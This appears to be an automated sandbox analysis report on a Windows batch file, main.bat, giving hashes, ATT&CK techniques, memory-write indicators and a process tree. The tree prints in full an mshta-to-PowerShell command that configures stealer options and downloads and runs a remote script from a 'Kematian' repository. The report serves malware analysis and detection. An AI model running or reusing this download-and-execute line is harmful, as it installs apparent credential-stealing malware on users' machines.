024146b5deb90fc9bcbb45b6b3c07e58f5480c13cb3b7e912fb2fa4122223c56

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16/01/2025, 12:31

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General

Target
main.bat
Size 694B
Sample250116-pp2ems1naq
SHA256 024146b5deb90fc9bcbb45b6b3c07e58f5480c13cb3b7e912fb2fa4122223c56
MD5 675bc4a7394ea35181bfc4f05e60bce9
SHA1 422551a0f4da68d874f47beedb4a1384d058fb76
SHA512 b25188fa779c1f0125d99eed4171531381b92db77ad7c560c2fda54781095d736d0d108d35a0519ff30889b09e25b0788b023e61d3515cfbe4c619c578e97f25
MD5 SHA1 SHA512

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1644	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1644	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 2876	1632	cmd.exe	31
PID 1632 wrote to memory of 2876	1632	cmd.exe	31
PID 1632 wrote to memory of 2876	1632	cmd.exe	31
PID 2876 wrote to memory of 1604	2876	net.exe	32
PID 2876 wrote to memory of 1604	2876	net.exe	32
PID 2876 wrote to memory of 1604	2876	net.exe	32
PID 1632 wrote to memory of 2088	1632	cmd.exe	33
PID 1632 wrote to memory of 2088	1632	cmd.exe	33
PID 1632 wrote to memory of 2088	1632	cmd.exe	33
PID 2088 wrote to memory of 1644	2088	mshta.exe	34
PID 2088 wrote to memory of 1644	2088	mshta.exe	34
PID 2088 wrote to memory of 1644	2088	mshta.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\main.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1604
- C:\Windows\system32\mshta.exe
  mshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex",0))
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1644-4-0x000000001B800000-0x000000001BAE2000-memory.dmp

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memory/1644-5-0x0000000002340000-0x0000000002348000-memory.dmp

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